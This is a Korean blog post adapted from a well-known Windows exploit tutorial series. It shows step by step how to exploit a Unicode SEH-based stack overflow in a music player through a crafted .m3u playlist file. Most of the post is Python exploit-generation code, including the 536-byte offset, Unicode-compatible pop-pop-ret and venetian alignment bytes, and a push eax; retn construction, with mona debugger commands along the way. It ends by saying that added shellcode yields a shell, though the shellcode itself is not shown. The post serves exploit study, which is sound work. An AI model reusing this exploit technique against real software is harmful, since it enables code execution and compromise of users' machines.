[Window Application Exploit] Unicode StackOverflow



출처: https://www.fuzzysecurity.com/tutorials.html


본 포스팅은 fuzzysecurity Tutorials part 5 -> Unicode 0x41004100을 분석 및 의역하여 작성하였습니다. 

Windows Application에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.



Step 1. Application

list를 추가할 수 있는 단순한 music player입니다. 해당 list 파일의 형식은 .m3u file 입니다.

 

 

 

Step 2. 취약점 분석

.m3u 형식의 file 내용에 data를 일정 이상 담아 List 메뉴에서 읽어들이면 return address의 변조가 일어납니다.

 

아래 code로 exp.m3u file을 만들어 읽어 보았습니다.

 

exp = "A" * 1000

file = open("exp.m3u", "w")
file.write(exp)
file.close()

 
EIP가 변조되기는 하지만 무언가 다른 data 형태로 보입니다.

 

 

 

memory의 상태를 보니 2bytes 단위로 들어가 있는것을 확인할 수 있습니다. memory에 담긴 값으로 미루어 보아 내가 보낸 data는 Unicode 형태로 받아들인다는 것을 알 수 있습니다.

 

 

 

Step 3. Exploit

pattern을 생성해서 code에 넣어보면 아래와 같이 handler 함수 주소가 바뀌는 것을 알 수 있습니다.

!mona findmsp를 통해서 해당 주소까지 536bytes 의 offset을 가진것을 알 수 있습니다.

 

 

 

exploit code를 제작해 file을 넣어보면 handler 함수 주소가 0x00440044로 바뀌는 것을 확인 할 수 있습니다.

exp = "A" * 536
exp += "BB"
exp += "DD"

file = open("exp.m3u", "w")
file.write(exp)
file.close()

 

 

 

그렇다면 SEH overwrite 기법을 생각할 수 있습니다.

 

보통 SEH overwrite 과정은 handler에다 pop-pop-ret code를 넣어두고 nSEH에서 short jump를 덮어써서 exploit을 완성 합니다.

 

하지만 이 프로그램과 같이 UNICODE로 받아들인다면 정상적으로 nSEH에 short jump를 생성하는 것이 불가능 합니다.

 

따라서 nSEH에 short jump를 넣는 대신 무해한 code를 넣고 실행할 때 buffer를 해치지 않는 쪽으로 생각해야 합니다. 아래는 몇 가지 무해한 opcode를 나타내고 있습니다.

 


ASCII ==> ...AAAA... Unicode ==> ...0041004100410041...
해당 값이 명령어로 변환되는 경우를 보면 다음과 같다.
 
...
41 INC ECX
004100 ADD BYTE PTR DS:[ECX],AL
41 INC ECX
004100 ADD BYTE PTR DS:[ECX],AL
...

여기서 1byte가 남고 남은 것들에 \x00으로 흡수된다. 의도하는 것은 이 2번째 byte(\x00)이 실행될 때 아무런 영향이 없는 무해한 opcode로 바꾸는 것이다. 예를 들어 0x004100은 무해한 명령어가 아니다. 이러한 호출을 UNICODE NOP이나 0x00을 제거하는 것이 베니스 블라인드 공격과 비슷하기 때문에 베니스 쉘코드라 부른다.

006E00 ADD BYTE PTR DS:[ESI],CH
006F00 ADD BYTE PTR DS:[EDI],CH
007000 ADD BYTE PTR DS:[EAX],DH
007100 ADD BYTE PTR DS:[ECX],DH
007200 ADD BYTE PTR DS:[EDX],DH
007300 ADD BYTE PTR DS:[EBX],DH

대표적으로 위와 같은 방법들이 있지만 항상 동작하지는 않는다.  

아래와 같이 exploit을 구성했지만 아직 고려해야 할 것이 남아있습니다.

 

● SEH에 넣을 UNICODE 형태의 pop-pop-ret code를 찾아야 합니다.

● nSEH가 SEH로 점프가 불가능하니 무해한 opcode를 넣어야 합니다.

 

exp = "A" * 536
exp += "\x41\x73" # ADD BYTE PTR DS:[EBX], DH
exp += "DD"

file = open("exp.m3u", "w")
file.write(exp)
file.close()

mona.py를 이용하면 UNICODE 호환 주소를 찾아낼 수 있습니다.

!mona seh -cp unicode 명령어를 치게되면 unicode 호환 pop-pop-ret code들이 나오게 됩니다.

 

 

임의로 하나를 골라 pop-pop-ret code를 넣고 stack을 살펴봤더니 0x3f로 변조되었습니다. 이는 내부적으로 UNICODE를 받아들일 때 내가 넣은 data가 UNICODE 목록상 존재하지 않으면 \x3f로 변조되어 버립니다.

 

 

따라서 UNICODE table을 참조해 존재하는 code만 골라서 exploit을 구성했습니다.

exp = "A" * 536
exp += "\x41\x73" # ADD BYTE PTR DS:[EBX], DH; nSEH
exp += "\x41\x4A" # pop-pop-ret; SEH

file = open("exp.m3u", "w")
file.write(exp)
file.close()  

 exploit을 구성하고 실행시키면 pop-pop-ret code를 정상적으로 타고 내가 넣은 부분을 code처럼 실행하는 것을 볼 수 있습니다.

 

 

실행하는 것을 확인했으면 shellcode를 어떻게 동작시킬지 생각해야 합니다.
    1.Buffer에 근접한 register를 찾고 산술연산으로 buffer값을 가리키게 만듭니다.
    2.Buffer를 가리키는 주소를 stack에서 찾고 pop code를 통해 계속 return하게 만듭니다.

 

위의 2가지 방법이 있지만 여기선 산술 연산을 통해 Buffer에 인접한 register를 shellcode를 가리키게 할 것입니다.

 

아래의 경우는 ebx register 가 buffer의 거리가 가장 가깝습니다. 그렇다면 buffer까지 얼마나 차이가 나는지 알아봐야 합니다.

 

 

코드를 통해 "B"를 채워 offset을 추정해보도록 하겠습니다.

exp = "A" * 536
exp += "\x41\x71" # ADD BYTE PTR DS:[EBP], DH; nSEH
exp += "\x41\x4d" # pop-pop-ret; SEH
exp += "B" * 100

file = open("exp.m3u", "w")
file.write(exp)
file.close()

SEH까지 변조가 성공적으로 이뤄지고 “B”로 채워진 곳까지 code의 흐름이 정상적으로 되었습니다. 

 

이제 0x42가 채워진 부분부터 eax register에 register들을 계산해 shellcode의 주소를 넣는 것입니다.

 

하지만 UNICODE 형태로 들어가기 때문에 이전 UNICODE shellcode를 분기를 뛰는 변조 code를 만들어야 합니다.

 

Debugger상에서만 code patch를 통해 UNICODE형식으로 eax에 shellcode의 주소를 집어넣고 return하는 code를 만들었습니다. 

 

 

 

code의 흐름을 stack의 data로 옮기는 데 성공하였습니다.

 

 

 

다음의 exploit을 실행시켜 code의 흐름을 확인했습니다. 

exp = "A" * 536
exp += "\x41\x71" # ADD BYTE PTR DS:[EBP], DH; nSEH
exp += "\x41\x4d" # pop-pop-ret; SEH
#exp += "B" * 10
exp += "\x55\x71\x58\x71\x05\x10\x22"
exp += "\x71\x2D\x0B\x22\x71\x50\x71"
exp += "\xC3"
exp += "\x71" * 10
exp += "BBBB"


file = open("exp.m3u", "w")
file.write(exp)
file.close()


   

그런데 retn에 해당하는 0xC3이 변형되어 들어갑니다. 이리저리 변형을 시켜보아도 해결이 되지 않아 UNICODE table에서 0xC3이 들어간 것을 찾아보았습니다.

 

 

UNICODE table을 살펴보니 0xC3이 들어간 것이 몇가지 나왔습니다. 내가 0x9B83을 전해준다면 UNICODE로 받게되어 0xC350으로 바뀌게 되고 little endian에 따라서 \x50\xC3으로 인식되어 이는 push eax; retn이 됩니다. 

 

 

아래의 code를 넣으니 push eax;retn이 정상적으로 나오게 되었습니다. 이제 return 되는 주소의 offset을 계산해 shellcode의 위치를 알아내면 됩니다.

 

 

 

shellcode를 알맞은 곳에 넣어두고 file을 만들어 실행시키면 shell을 얻을 수 있습니다. 

 

 

 

  

이 글을 공유하기

댓글